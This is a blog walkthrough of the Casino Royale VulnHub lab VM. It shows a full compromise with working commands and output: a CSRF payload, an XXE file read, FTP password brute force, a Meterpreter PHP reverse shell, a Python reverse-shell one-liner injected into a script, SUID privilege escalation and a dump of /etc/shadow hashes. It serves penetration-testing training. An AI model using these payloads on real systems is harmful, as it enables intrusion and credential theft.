Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I recently went thorough the Casino Royale VulnHub VM, so I wanted to share my write-up.
I haven’t done a VulnHub walkthrough since Brainpan, so I figured it was about time for my new readers.
You can find Casino Royale on VulnHub, and the difficulty is Intermediate as it says.
This was definitely a longer one, so please let me know what you think!
First, I checked the IP of my Kali box.
root@kali:~# ifconfig eth0 eth0: flags=4163mtu 1500 inet 192.168.171.3 netmask 255.255.255.0 broadcast 192.168.171.255 inet6 fe80::a00:27ff:fed8:764c prefixlen 64 scopeid 0x20 ether 08:00:27:d8:76:4c txqueuelen 1000 (Ethernet) RX packets 1257 bytes 80808 (78.9 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 75 bytes 13378 (13.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
I also verified that the VM had booted and was online.
Unfortunately, I was unable to find it on my local network. As it turns out, this was due to a slight error in the interfaces file, or something I broke with my device configuration.
That said, I was able to fix this by changing the DHCP interface to enp0s3.
With that complete, I was able to use netdiscover to find the target’s IP.
root@kali:~ netdiscover -i eth0 -r 192.168.171.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.171.4 08:00:27:d8:e2:88 1 60 PCS Systemtechnik GmbH
With the IP in hand, I kicked off a full Nmap scan, to see what I could find.
root@kali:~ nmap -sS -sV -O -p- -n -Pn --open 192.168.171.4 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 22:47 EST Nmap scan report for 192.168.171.4 Host is up (0.00029s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.25 ((Debian)) 8081/tcp open http PHP cli server 5.5 or later MAC Address: 08:00:27:D8:E2:88 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.23 seconds
The web front(s) seemed promising, so I decided to check those first. Unfortunately, there was nothing of note on the homepage of port 80.
I also checked the source of the page, to see if there was anything interesting hidden in the page/included files.
root@kali:~ curl http://192.168.171.4/ <html> <head> <link rel="stylesheet" href="main.css"> </head> <video poster="" id="bgvid" playsinline autoplay muted loop> <source src="main1.webm" type="video/webm"> </video> <script src="main.js"></script> </html>
With nothing of note on the home page, I ran a Nikto scan for more information. I also ran dirb, but it didn’t give anything in addition to the Nikto findings.
root@kali:~ nikto -h http://192.168.171.4 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.171.4 + Target Hostname: 192.168.171.4 + Target Port: 80 + Start Time: 2019-03-02 22:48:08 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.25 (Debian) + Server leaks inodes via ETags, header found with file /, fields: 0xdc 0x58272762faf27 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Entry '/cards/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + Entry '/kboard/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 2 entries which should be manually viewed. + Multiple index files found: /index.php, /index.html + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + /kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php + OSVDB-3092: /cards/: This might be interesting... + OSVDB-3092: /includes/: This might be interesting... + OSVDB-3092: /install/: This might be interesting... + Uncommon header 'x-permitted-cross-domain-policies' found, with contents: none + Uncommon header 'x-ob_mode' found, with contents: 1 + Uncommon header 'x-robots-tag' found, with contents: noindex, nofollow + OSVDB-3233: /icons/README: Apache default file found. + /phpmyadmin/: phpMyAdmin directory found + 8348 requests: 0 error(s) and 18 item(s) reported on remote host + End Time: 2019-03-02 22:48:40 (GMT-5) (32 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Unfortunately, /cards/ and /kboard/ looked like more red herrings in the form of Casino Royale images/gifs.
The phpMyAdmin page was fairly standard, and I couldn’t find any useful vulnerabilities or default credentials.
I also checked the pages on port 8081, but I couldn’t tell what the application was for.
That said, the /install/ page for PokerMax seemed pretty interesting, so I figured I could start attacking here.
Upon clicking “Install”, I saw an error informing me that installation had already occurred.
That said, I was able to find the application source code on GitHub.
While poking around, I figured out the URL for the admin login.
With some more searching, I found an exploit for authentication bypass.
This exploit worked, and I was able to poke around the admin console! First, I found some useful information in the form of the admin password, as well as the hostname.
After some more searching, I found another interesting URL in the profile of the “Valenka” user.
Finally, before moving on, I also decided to check if any of the users would be valid against the SMTP server. I had no use for them yet, but I figured that it might help
msf auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.171.4:25 - 192.168.171.4:25 Banner: 220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
[+] 192.168.171.4:25 - 192.168.171.4:25 Users found: , avahi, backup, bin, daemon, ftp, games, gnats, irc, list, lp, mail, man, messagebus, news, nobody, postmaster, proxy, pulse, saned, speech-dispatcher, sync, sys, uucp, www-data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /root/casino/users.txt
USER_FILE => /root/casino/users.txt
msf auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.171.4:25 - 192.168.171.4:25 Banner: 220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
[+] 192.168.171.4:25 - 192.168.171.4:25 Users found: le, valenka
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Upon visiting the vip-client-portfolios page, I found a Snowfox CMS blog.
Additionally, at the bottom of the page, there was some information about e-mailing them as a new client, with Valenka regularly checking her e-mail.
After some more searching, I attempted to reach the Snowfox login page. Unfortunately, I was unable to connect to the server.
I realized that this was because I never updated my hosts file, so I went ahead and did that.
root@kali:~/casino cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali 192.168.171.4 casino-royale.local # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
I was now able to use the blog via the hostname, and this fixed the images as well.
After some searching, I found a CSRF vulnerability in the Snowfox platform.
I figured that this would be my next step, so I created my payload.
root@kali:~/casino cat snowfox.html <html> <body> <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST"> <input type="hidden" name="emailAddress" value="[email protected]" /> <input type="hidden" name="verifiedEmail" value="verified" /> <input type="hidden" name="username" value="doylersec" /> <input type="hidden" name="newPassword" value="d0yl3rs3c" /> <input type="hidden" name="confirmPassword" value="d0yl3rs3c" /> <input type="hidden" name="userGroups[]" value="34" /> <input type="hidden" name="userGroups[]" value="33" /> <input type="hidden" name="memo" value="CSRFmemo" /> <input type="hidden" name="status" value="1" /> <input type="hidden" name="formAction" value="submit" /> <input type="submit" value="Submit form" /> </form> </body> </html>
After numerous attempts and guesses, I finally got a working e-mail that Valenka would check.
root@kali:~/casino nc -v 192.168.171.4 25 casino-royale.local [192.168.171.4] 25 (smtp) open 220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls. MAIL FROM: doyler 250 2.1.0 Ok RCPT TO: valenka 250 2.1.5 Ok DATA 354 End data with. SUBJECT: Obanno http://192.168.171.3:8000/snowfox.html . 250 2.0.0 Ok: queued as C26CF1ED3 quit 221 2.0.0 Bye
When she “clicked” on the link, I got a request for my CSRF payload.
root@kali:~/casino python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 192.168.171.4 - - [02/Mar/2019 23:47:09] "GET /snowfox.html HTTP/1.1" 200 -
With the hosts file fixed, I was able to visit the login page.
As expected, my credentials worked, and I could view the user list!
With some more searching, I found another interesting URL in the profile of the “le” user.
First, I found an open directory listing in the root of ultra-access-view. While nothing here was terribly interesting, it was a start.
The main page just had a welcome message, and a mention about client access.
Upon viewing the page source, I found some information about XML posts, as well as weak passwords!
Based on the included source, I created an XXE payload to read /etc/passwd.
root@kali:~/casino cat xxe.txt <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <customer>&xxe;</customer> <password>password</password> </creds>
I sent a POST request to the page using cURL. As expected, I got the contents of /etc/passwd!
root@kali:~/casino curl -d "@xxe.txt" http://casino-royale.local/ultra-access-view/main.php <html> ... < snip > ... Welcome root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false rtkit:x:105:109:RealtimeKit,,,:/proc:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false lightdm:x:109:113:Light Display Manager:/var/lib/lightdm:/bin/false pulse:x:110:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false saned:x:112:118::/var/lib/saned:/bin/false le:x:1000:1000:Le Chiffre,,,:/home/le:/bin/bash mysql:x:113:120:MySQL Server,,,:/nonexistent:/bin/false valenka:x:1001:1001:,,,:/home/valenka:/bin/bash postfix:x:114:121::/var/spool/postfix:/bin/false ftp:x:115:124:ftp daemon,,,:/srv/ftp:/bin/false ftpUserULTRA:x:1002:1002::/var/www/html/ultra-access-view:/bin/bash ! ... < snip > ... </html>
With the ftp username in hand, I figured that would be my next point of attack.
Unfortunately, I was getting some errors when I tried to use the ftp_login module for more than a few requests.
msf auxiliary(scanner/ftp/ftp_login) > show options Module options (auxiliary/scanner/ftp/ftp_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE /usr/share/wordlists/rockyou.txt no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RECORD_GUEST false no Record anonymous/guest logins to the database RHOSTS 192.168.171.4 yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 10 yes The number of concurrent threads USERNAME ftpUserULTRA no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(scanner/ftp/ftp_login) > run [*] 192.168.171.4:21 - 192.168.171.4:21 - Starting FTP login sweep [!] 192.168.171.4:21 - No active DB -- Credential data will not be saved! [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:123456 (Incorrect: ) [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:12345 (Incorrect: ) [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:123456789 (Incorrect: ) [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:password (Incorrect: ) [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:iloveyou (Incorrect: ) ... [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:amanda (Unable to Connect: ) [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:loveyou (Unable to Connect: ) [-] 192.168.171.4:21 - 192.168.171.4:21 - LOGIN FAILED: ftpUserULTRA:pretty (Unable to Connect: )
That said, I was able to run hydra against the target after searching for all of the flags again. As you can see, the password for ftpUserULTRA was in the rockyou dump.
root@kali:~/casino hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.171.4 Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2019-03-04 12:39:03 [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task [DATA] attacking ftp://192.168.171.4:21/ [STATUS] 2158.00 tries/min, 2158 tries in 00:01h, 14342370 to do in 110:47h, 64 active [STATUS] 2033.00 tries/min, 6099 tries in 00:03h, 14338429 to do in 117:33h, 64 active [STATUS] 1961.14 tries/min, 13728 tries in 00:07h, 14330800 to do in 121:48h, 64 active [STATUS] 1938.47 tries/min, 29077 tries in 00:15h, 14315451 to do in 123:05h, 64 active [21][ftp] host: 192.168.171.4 login: ftpUserULTRA password: bankbank 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 51 final worker threads did not complete until end. [ERROR] 51 targets did not resolve or could not be connected [ERROR] 64 targets did not complete Hydra (http://www.thc.org/thc-hydra) finished at 2019-03-04 13:04:24
Using the credentials, I was able to successfully authenticate to the FTP service.
root@kali:~/casino nc -v 192.168.171.4 21 casino-royale.local [192.168.171.4] 21 (ftp) open 220 Customer Access Level: ULTRA User ftpUserULTRA 331 Please specify the password. PASS bankbank 230 Login successful.
I created a reverse PHP shell, since I knew that main.php was already being executed.
root@kali:~/casino msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.171.3 LPORT=443 -f raw > rev.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1113 bytes
Unfortunately, I was unable to upload my reverse shell as a .php file, or as a .txt file.
PASV 227 Entering Passive Mode (192,168,171,4,50,164). STOR rev.php 550 Permission denied. STOR rev.txt 550 Permission denied. STOR rev
The FTP service was rejecting anything with an extension, since I was able to upload the file “text” just fine.
That said, I wasn’t able to use the STOR command to actually upload any data. I’m sure this was a personal issue, but I got the FTP application to upload just fine.
Now that I was able to upload files, I dropped my reverse shell (with no extension) into the directory. While I was unable to rename it to rev.php, rev.php3 worked just fine, and should execute all the same.
ftp> put rev local: rev remote: rev 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 1113 bytes sent in 0.00 secs (961.8708 kB/s) ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Desktop drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Documents drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Downloads drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Music drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Pictures drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Public drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Templates drwxr-xr-x 2 1002 1002 4096 Feb 22 19:21 Videos -rw-r--r-- 1 0 0 191 Feb 22 18:42 battle2root.html -rwxr-xr-x 1 0 0 76 Feb 20 11:38 hello_world.pl -rwxr-xr-x 1 1002 1002 1131 Feb 20 23:00 main.php -rw------- 1 1002 1002 1113 Mar 04 08:03 rev 226 Directory send OK. ftp> chmod 777 rev 200 SITE CHMOD command ok. ftp> rename rev rev.php 350 Ready for RNTO. 550 Permission denied. ftp> rename rev rev.php3 350 Ready for RNTO. 250 Rename successful.
As expected, when I visited rev.php3, I caught my reverse Meterpreter shell!
msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.171.3:443 [*] Sending stage (37775 bytes) to 192.168.171.4 [*] Meterpreter session 1 opened (192.168.171.3:443 -> 192.168.171.4:45260) at 2019-03-04 14:04:31 -0500 meterpreter > sysinfo Computer : casino OS : Linux casino 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Meterpreter : php/linux
After taking a very quick look around, I was able to find some potential credentials for the valenka user.
pwd /var/www/html/includes cat config.php <?PHP /* PokerMax Pro Poker League Software Written by Steve Dawson - 01-07-2007 www.stevedawson.com */ /** Complete your database info below and then run the yourdomain.com/install/ **/ /**************** DATABASE MODIFICATION SECTION ****************/ $server = "localhost"; // Server Host $DBusername = "valenka"; // Database Username $DBpassword = "11archives11!"; // Database Password $database = "pokerleague"; // Database Name $tournament_table = "pokermax_tournaments"; $admin_table = "pokermax_admin"; $player_table = "pokermax_players"; $score_table = "pokermax_scores"; /**************** OPTIONS SECTION ****************/ $search_limit = "50"; // listings per page - tournaments and players $DatabaseError = "<p align=\"center\" class=\"red\">No details found, please try again later</p>"; # $playerid = date("dmyHis"); $tournamentid = date("dmyHis"); /**************** DATE STAMP SECTION ****************/ $dateadded = date("j F Y"); // Date and time of info request $version = "v0.13"; ?>
Once I spawned a pseudo-tty, I was able to laterally move to the ‘valenka’ user with the previously discovered password.
python -c 'import pty;pty.spawn("/bin/bash");' www-data@casino:/var/www/html/includes$ su - valenka su - valenka Password: 11archives11! valenka@casino:~$ id id uid=1001(valenka) gid=1001(valenka) groups=1001(valenka)
As the valenka user, I was able to discover one interesting SUID binary.
valenka@casino:~$ find / -user root -perm -4000 -exec ls -al {} \; 2>/dev/null
-rwsr-sr-x 1 root root 8696 Feb 20 14:26 /opt/casino-royale/mi6_detect_test
-rwsr-xr-x 1 root root 14856 Dec 6 12:34 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 42992 Mar 2 2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 10576 Oct 31 12:58 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 440728 Aug 20 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 35936 Mar 6 2012 /usr/sbin/userhelper
-rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23352 Dec 6 12:34 /usr/bin/pkexec
-rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 146128 Feb 26 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
-rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount
-rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
-rwsr-xr-x 1 root root 30800 Aug 21 2018 /bin/fusermount
There were some other interesting files in the casino-royale directory as well, which might be necessary for the escalation.
valenka@casino:/opt/casino-royale$ ls -al ls -al total 48 drwxrwxr-x 2 root le 4096 Feb 22 19:03 . drwxr-xr-x 4 root root 4096 Jan 17 18:17 .. -rwxrw---- 1 le www-data 210 Feb 20 15:22 casino-data-collection.py -rw------- 1 le le 40 Feb 22 19:02 closer2root.txt -rw-r--r-- 1 root root 79 Feb 20 14:54 collect.php -rwxr-xr-x 1 root root 174 Feb 21 21:48 index.html -rwsr-sr-x 1 root root 8696 Feb 20 14:26 mi6_detect_test -rwxrwxr-x 1 le le 54 Feb 20 16:56 php-web-start.sh -rwxr-x--- 1 le le 402 Feb 20 15:30 run.sh -rwxrwxr-x 1 le le 71 Feb 20 15:21 user-data.log
When I ran the mi6_detect_test binary, I spit out some basic netstat and ps information. I guessed that it was likely using the run.sh script, which I’d be able to change if I could migrate to the ‘le’ user.
valenka@casino:/opt/casino-royale$ ./mi6_detect_test ./mi6_detect_test -------------------- Active Internet connections (servers and established) -------------------- 08:11:43 up 1 day, 5:30, 0 users, load average: 0.02, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -------------------- le 491 0.0 0.2 11176 2828 ? Ss Mar03 0:00 /bin/bash /opt/casino-royale/php-web-start.sh root 493 0.0 0.2 11176 2884 ? Ss Mar03 0:00 /bin/bash /root/ctf-scripts/act.sh www-data 15023 0.0 0.6 32176 7132 ? S 08:07 0:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15024 0.0 0.3 18168 3136 pts/0 Ss 08:07 0:00 /bin/bash www-data 15059 0.0 0.6 32176 7044 ? S 08:07 0:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15060 0.0 0.3 18168 3152 pts/1 Ss 08:07 0:00 /bin/bash root 15231 0.0 0.0 4288 720 pts/1 S+ 08:11 0:00 sh -c /bin/bash run.sh root 15232 0.0 0.2 11172 2924 pts/1 S+ 08:11 0:00 /bin/bash run.sh -------------------- le 491 1 0 Mar03 ? 00:00:00 /bin/bash /opt/casino-royale/php-web-start.sh root 493 1 0 Mar03 ? 00:00:00 /bin/bash /root/ctf-scripts/act.sh www-data 15023 15005 0 08:07 ? 00:00:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15024 15023 0 08:07 pts/0 00:00:00 /bin/bash www-data 15059 15058 0 08:07 ? 00:00:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15060 15059 0 08:07 pts/1 00:00:00 /bin/bash root 15231 15230 0 08:11 pts/1 00:00:00 sh -c /bin/bash run.sh root 15232 15231 0 08:11 pts/1 00:00:00 /bin/bash run.sh
The collect.php script actually matched the application running on port 8081 that I found earlier in my enumeration phase.
Taking a look at the source code, it just ran the casino-data-collection.py script in the same directory.
valenka@casino:/opt/casino-royale$ cat collect.php cat collect.php <?php $out = shell_exec('python casino-data-collection.py'); echo "$out"; ?>
While my ‘valenka’ user had no access to the Python file, www-data actually had read and write permissions.
valenka@casino:/opt/casino-royale$ cat casino-data-collection.py cat casino-data-collection.py cat: casino-data-collection.py: Permission denied valenka@casino:/opt/casino-royale$ ls -al casino-data-collection.py ls -al casino-data-collection.py -rwxrw---- 1 le www-data 210 Feb 20 15:22 casino-data-collection.py valenka@casino:/opt/casino-royale$ exit exit logout www-data@casino:/var/www/html/ultra-access-view$ cd /opt/casino-royale cd /opt/casino-royale www-data@casino:/opt/casino-royale$ cat casino-data-collection.py cat casino-data-collection.py #!/usr/bin/python # Collect logs and user data to sell for marketing research file = open("/opt/casino-royale//user-data.log","r") print file.read() #ftpl = open("/var/log/vsftpd.log","r") #print ftpl.read()
After swapping back to my www-data user, I was able to add a very basic Python reverse shell to the script.
www-data@casino:/opt/casino-royale$ cat casino-data-collection.py cat casino-data-collection.py #!/usr/bin/python # Collect logs and user data to sell for marketing research file = open("/opt/casino-royale//user-data.log","r") import sys,socket,os,pty;s=socket.socket();s.connect(("192.168.171.3",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh") print file.read() #ftpl = open("/var/log/vsftpd.log","r") #print ftpl.read()
When I re-ran the data collection, I got a reverse shell as the ‘le’ user!
root@kali:~/casino nc -lvp 4444 listening on [any] 4444 ... connect to [192.168.171.3] from casino-royale.local [192.168.171.4] 52292 $ id id uid=1000(le) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
As I previously assumed, the run.sh script was used for the output of the mi6_detect_test binary.
$ cat run.sh cat run.sh #!/bin/bash # The devs refuse to create an in-house security app until they get their back-pay # ...they've always been entitled nerds...I'll just create one myself! echo "--------------------" netstat -antp |grep sh echo "--------------------" w echo "--------------------" ps -aux |grep -v grep |grep bash echo "--------------------" ps -ef | grep -v grep |grep bash # Adding more in teh future....
I added a quick /bin/bash to the end of the script, ran it, and got root!
$ echo '/bin/bash' >> run.sh echo '/bin/bash' >> run.sh $ ./mi6_detect_test ./mi6_detect_test -------------------- Active Internet connections (servers and established) -------------------- 08:19:32 up 1 day, 5:38, 0 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -------------------- le 491 0.0 0.2 11176 2828 ? Ss Mar03 0:00 /bin/bash /opt/casino-royale/php-web-start.sh root 493 0.0 0.2 11176 2884 ? Ss Mar03 0:00 /bin/bash /root/ctf-scripts/act.sh www-data 15023 0.0 0.6 32176 7132 ? S 08:07 0:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15024 0.0 0.3 18168 3136 pts/0 Ss 08:07 0:00 /bin/bash www-data 15059 0.0 0.6 32176 7044 ? S 08:07 0:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15060 0.0 0.3 18168 3232 pts/1 Ss+ 08:07 0:00 /bin/bash root 15400 0.0 0.0 4288 740 pts/2 S+ 08:19 0:00 sh -c /bin/bash run.sh root 15401 0.0 0.2 11172 3036 pts/2 S+ 08:19 0:00 /bin/bash run.sh -------------------- le 491 1 0 Mar03 ? 00:00:00 /bin/bash /opt/casino-royale/php-web-start.sh root 493 1 0 Mar03 ? 00:00:00 /bin/bash /root/ctf-scripts/act.sh www-data 15023 15005 0 08:07 ? 00:00:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15024 15023 0 08:07 pts/0 00:00:00 /bin/bash www-data 15059 15058 0 08:07 ? 00:00:00 python -c import pty;pty.spawn("/bin/bash"); www-data 15060 15059 0 08:07 pts/1 00:00:00 /bin/bash root 15400 15399 0 08:19 pts/2 00:00:00 sh -c /bin/bash run.sh root 15401 15400 0 08:19 pts/2 00:00:00 /bin/bash run.sh root@casino:/opt/casino-royale# id id uid=0(root) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
At this point, I was root, and the challenge was all but solved.
root@casino:/root# hostname hostname casino root@casino:/root# id id uid=0(root) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
With root access, I went to /root/flag, and ran the flag.sh script.
I received a neat web page, along with some ASCII flag goodness.
Additionally, I grabbed the /etc/shadow file, just for fun.
root@casino:/root# cat /etc/shadow cat /etc/shadow root:$6$D5NeEr6.$x1LzhfldR2peVCa15AH9TDQLjBain1Fbv5bLstQQNidIo83iKFoIk8CAwRDATqM9fQhfyRP3Osr9JBLFwokxw/:17947:0:99999:7::: daemon:*:17852:0:99999:7::: bin:*:17852:0:99999:7::: sys:*:17852:0:99999:7::: sync:*:17852:0:99999:7::: games:*:17852:0:99999:7::: man:*:17852:0:99999:7::: lp:*:17852:0:99999:7::: mail:*:17852:0:99999:7::: news:*:17852:0:99999:7::: uucp:*:17852:0:99999:7::: proxy:*:17852:0:99999:7::: www-data:*:17852:0:99999:7::: backup:*:17852:0:99999:7::: list:*:17852:0:99999:7::: irc:*:17852:0:99999:7::: gnats:*:17852:0:99999:7::: nobody:*:17852:0:99999:7::: systemd-timesync:*:17852:0:99999:7::: systemd-network:*:17852:0:99999:7::: systemd-resolve:*:17852:0:99999:7::: systemd-bus-proxy:*:17852:0:99999:7::: _apt:*:17852:0:99999:7::: rtkit:*:17852:0:99999:7::: messagebus:*:17852:0:99999:7::: usbmux:*:17852:0:99999:7::: speech-dispatcher:!:17852:0:99999:7::: lightdm:*:17852:0:99999:7::: pulse:*:17852:0:99999:7::: avahi:*:17852:0:99999:7::: saned:*:17852:0:99999:7::: le:$6$npPh5/2g$3g9SJjuxJ37yhggxtqTfTWtgxB9um4nfStRjqB1wqQIGTmWzYhl6J4QUVNSPVQ13PLxmbxerP1jMonNh3UrDO0:17914:0:99999:7::: mysql:!:17852:0:99999:7::: 